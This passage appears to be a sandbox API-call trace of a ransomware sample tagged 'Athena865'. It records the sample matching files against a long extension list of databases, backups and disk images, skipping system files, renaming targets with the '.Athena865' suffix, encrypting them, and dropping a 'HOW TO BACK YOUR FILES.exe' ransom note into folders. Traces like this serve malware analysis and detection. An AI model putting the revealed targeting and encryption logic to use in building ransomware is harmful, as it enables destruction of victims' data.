returned -1 [0118.935] lstrlenW (lpString="rodx") returned 4 [0118.935] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.935] lstrlenW (lpString="rpd") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.935] lstrlenW (lpString="rsd") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.935] lstrlenW (lpString="sas7bdat") returned 8 [0118.935] lstrcmpiW (lpString1="remr.dll", lpString2="sas7bdat") returned -1 [0118.935] lstrlenW (lpString="sbf") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.935] lstrlenW (lpString="scx") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.935] lstrlenW (lpString="sdb") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.935] lstrlenW (lpString="sdc") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.935] lstrlenW (lpString="sdf") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.935] lstrlenW (lpString="sis") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.935] lstrlenW (lpString="spq") returned 3 [0118.935] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.935] lstrlenW (lpString="te") returned 2 [0118.935] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.935] lstrlenW (lpString="teacher") returned 7 [0118.935] lstrcmpiW (lpString1="emr.dll", lpString2="teacher") returned -1 [0118.935] lstrlenW (lpString="tmd") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.936] lstrlenW (lpString="tps") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.936] lstrlenW (lpString="trc") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.936] lstrlenW (lpString="trc") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.936] lstrlenW (lpString="trm") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.936] lstrlenW (lpString="udb") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.936] lstrlenW (lpString="udl") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.936] lstrlenW (lpString="usr") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.936] lstrlenW (lpString="v12") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.936] lstrlenW (lpString="vis") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.936] lstrlenW (lpString="vpd") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.936] lstrlenW (lpString="vvv") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.936] lstrlenW (lpString="wdb") returned 3 [0118.936] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.936] lstrlenW (lpString="wmdb") returned 4 [0118.936] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.936] lstrlenW (lpString="wrk") returned 3 [0118.937] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.937] lstrlenW (lpString="xdb") returned 3 [0118.937] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.937] lstrlenW (lpString="xld") returned 3 [0118.937] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.937] lstrlenW (lpString="xmlff") returned 5 [0118.937] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0118.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.Athena865") returned 65 [0118.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.athena865"), dwFlags=0x1) returned 1 [0118.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.938] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.938] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.939] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.939] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.939] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.940] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.941] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.942] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.942] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.942] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.943] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.943] CloseHandle (hObject=0x154) returned 1 [0118.943] CloseHandle (hObject=0x17c) returned 1 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.943] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".") returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="..") returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="windows") returned -1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="bootmgr") returned 1 [0118.943] lstrcmpiW (lpString1="msdfmap.dll", lpString2="temp") returned -1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="pagefile.sys") returned -1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="boot") returned 1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ids.txt") returned 1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="ntuser.dat") returned -1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="perflogs") returned -1 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2="MSBuild") returned 1 [0118.944] lstrlenW (lpString="msdfmap.dll") returned 11 [0118.944] lstrcpyW (in: lpString1=0x241e89e, lpString2="msdfmap.dll" | out: lpString1="msdfmap.dll") returned="msdfmap.dll" [0118.944] lstrlenW (lpString="msdfmap.dll") returned 11 [0118.944] lstrlenW (lpString="Athena865") returned 9 [0118.944] lstrcmpiW (lpString1="dfmap.dll", lpString2="Athena865") returned 1 [0118.944] lstrlenW (lpString=".dll") returned 4 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".dll") returned 1 [0118.944] lstrlenW (lpString=".lnk") returned 4 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".lnk") returned 1 [0118.944] lstrlenW (lpString=".ini") returned 4 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".ini") returned 1 [0118.944] lstrlenW (lpString=".sys") returned 4 [0118.944] lstrcmpiW (lpString1="msdfmap.dll", lpString2=".sys") returned 1 [0118.944] lstrlenW (lpString="msdfmap.dll") returned 11 [0118.944] lstrlenW (lpString="bak") returned 3 [0118.944] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.944] lstrlenW (lpString="ba_") returned 3 [0118.944] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.944] lstrlenW (lpString="dbb") returned 3 [0118.944] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.944] lstrlenW (lpString="vmdk") returned 4 [0118.944] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.944] lstrlenW (lpString="rar") returned 3 [0118.944] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.945] lstrlenW (lpString="zip") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.945] lstrlenW (lpString="tgz") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.945] lstrlenW (lpString="vbox") returned 4 [0118.945] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.945] lstrlenW (lpString="vdi") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.945] lstrlenW (lpString="vhd") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.945] lstrlenW (lpString="vhdx") returned 4 [0118.945] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.945] lstrlenW (lpString="avhd") returned 4 [0118.945] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.945] lstrlenW (lpString="db") returned 2 [0118.945] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.945] lstrlenW (lpString="db2") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.945] lstrlenW (lpString="db3") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.945] lstrlenW (lpString="dbf") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.945] lstrlenW (lpString="mdf") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.945] lstrlenW (lpString="mdb") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.945] lstrlenW (lpString="sql") returned 3 [0118.945] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.945] lstrlenW (lpString="sqlite") returned 6 [0118.945] lstrcmpiW (lpString1="ap.dll", lpString2="sqlite") returned -1 [0118.946] lstrlenW (lpString="sqlite3") returned 7 [0118.946] lstrcmpiW (lpString1="map.dll", lpString2="sqlite3") returned -1 [0118.946] lstrlenW (lpString="sqlitedb") returned 8 [0118.946] lstrcmpiW (lpString1="fmap.dll", lpString2="sqlitedb") returned -1 [0118.946] lstrlenW (lpString="xml") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.946] lstrlenW (lpString="$er") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.946] lstrlenW (lpString="4dd") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.946] lstrlenW (lpString="4dl") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.946] lstrlenW (lpString="^^^") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.946] lstrlenW (lpString="abs") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.946] lstrlenW (lpString="abx") returned 3 [0118.946] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.946] lstrlenW (lpString="accdb") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0118.946] lstrlenW (lpString="accdc") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0118.946] lstrlenW (lpString="accde") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0118.946] lstrlenW (lpString="accdr") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0118.946] lstrlenW (lpString="accdt") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0118.946] lstrlenW (lpString="accdw") returned 5 [0118.946] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0118.946] lstrlenW (lpString="accft") returned 5 [0118.947] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0118.947] lstrlenW (lpString="adb") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.947] lstrlenW (lpString="adb") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.947] lstrlenW (lpString="ade") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.947] lstrlenW (lpString="adf") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.947] lstrlenW (lpString="adn") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.947] lstrlenW (lpString="adp") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.947] lstrlenW (lpString="alf") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.947] lstrlenW (lpString="ask") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.947] lstrlenW (lpString="btr") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.947] lstrlenW (lpString="cat") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.947] lstrlenW (lpString="cdb") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.947] lstrlenW (lpString="ckp") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.947] lstrlenW (lpString="cma") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.947] lstrlenW (lpString="cpd") returned 3 [0118.947] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.947] lstrlenW (lpString="dacpac") returned 6 [0118.947] lstrcmpiW (lpString1="ap.dll", lpString2="dacpac") returned -1 [0118.948] lstrlenW (lpString="dad") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.948] lstrlenW (lpString="dadiagrams") returned 10 [0118.948] lstrcmpiW (lpString1="sdfmap.dll", lpString2="dadiagrams") returned 1 [0118.948] lstrlenW (lpString="daschema") returned 8 [0118.948] lstrcmpiW (lpString1="fmap.dll", lpString2="daschema") returned 1 [0118.948] lstrlenW (lpString="db-journal") returned 10 [0118.948] lstrcmpiW (lpString1="sdfmap.dll", lpString2="db-journal") returned 1 [0118.948] lstrlenW (lpString="db-shm") returned 6 [0118.948] lstrcmpiW (lpString1="ap.dll", lpString2="db-shm") returned -1 [0118.948] lstrlenW (lpString="db-wal") returned 6 [0118.948] lstrcmpiW (lpString1="ap.dll", lpString2="db-wal") returned -1 [0118.948] lstrlenW (lpString="dbc") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.948] lstrlenW (lpString="dbs") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.948] lstrlenW (lpString="dbt") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.948] lstrlenW (lpString="dbv") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.948] lstrlenW (lpString="dbx") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.948] lstrlenW (lpString="dcb") returned 3 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.948] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.Athena865") returned 64 [0118.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.athena865"), dwFlags=0x1) returned 1 [0118.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.950] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=57344) returned 1 [0118.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0118.951] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0118.951] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.951] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.951] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.952] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe300, lpName=0x0) returned 0x154 [0118.957] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe300) returned 0x100000 [0118.960] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.960] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.960] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0118.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0118.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0118.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0118.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0118.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.961] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.962] CloseHandle (hObject=0x154) returned 1 [0118.962] CloseHandle (hObject=0x17c) returned 1 [0118.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.962] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0118.962] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0118.962] ReleaseMutex (hMutex=0xec) returned 1 [0118.962] CloseHandle (hObject=0xec) returned 1 [0118.963] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned="C:\\Program Files\\Common Files\\System\\MSMAPI" [0118.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528d70 | out: hHeap=0x4f0000) returned 1 [0118.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52af78 | out: hHeap=0x4f0000) returned 1 [0118.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\MSMAPI") returned 43 [0118.963] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EDAB226B01DEFB70897EFC76E715263D") returned 0xec [0118.963] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0118.963] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\System\\MSMAPI" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI") returned="C:\\Program Files\\Common Files\\System\\MSMAPI" [0118.963] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0118.963] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\how to back your files.exe"), bFailIfExists=1) returned 0 [0118.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\system\\msmapi\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0118.964] GetLastError () returned 0x0 [0118.964] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.964] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.965] CloseHandle (hObject=0xf4) returned 1 [0118.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.965] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.965] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.965] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.965] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.965] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce1bed20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce1bed20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.965] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.965] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.965] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.965] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.965] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, 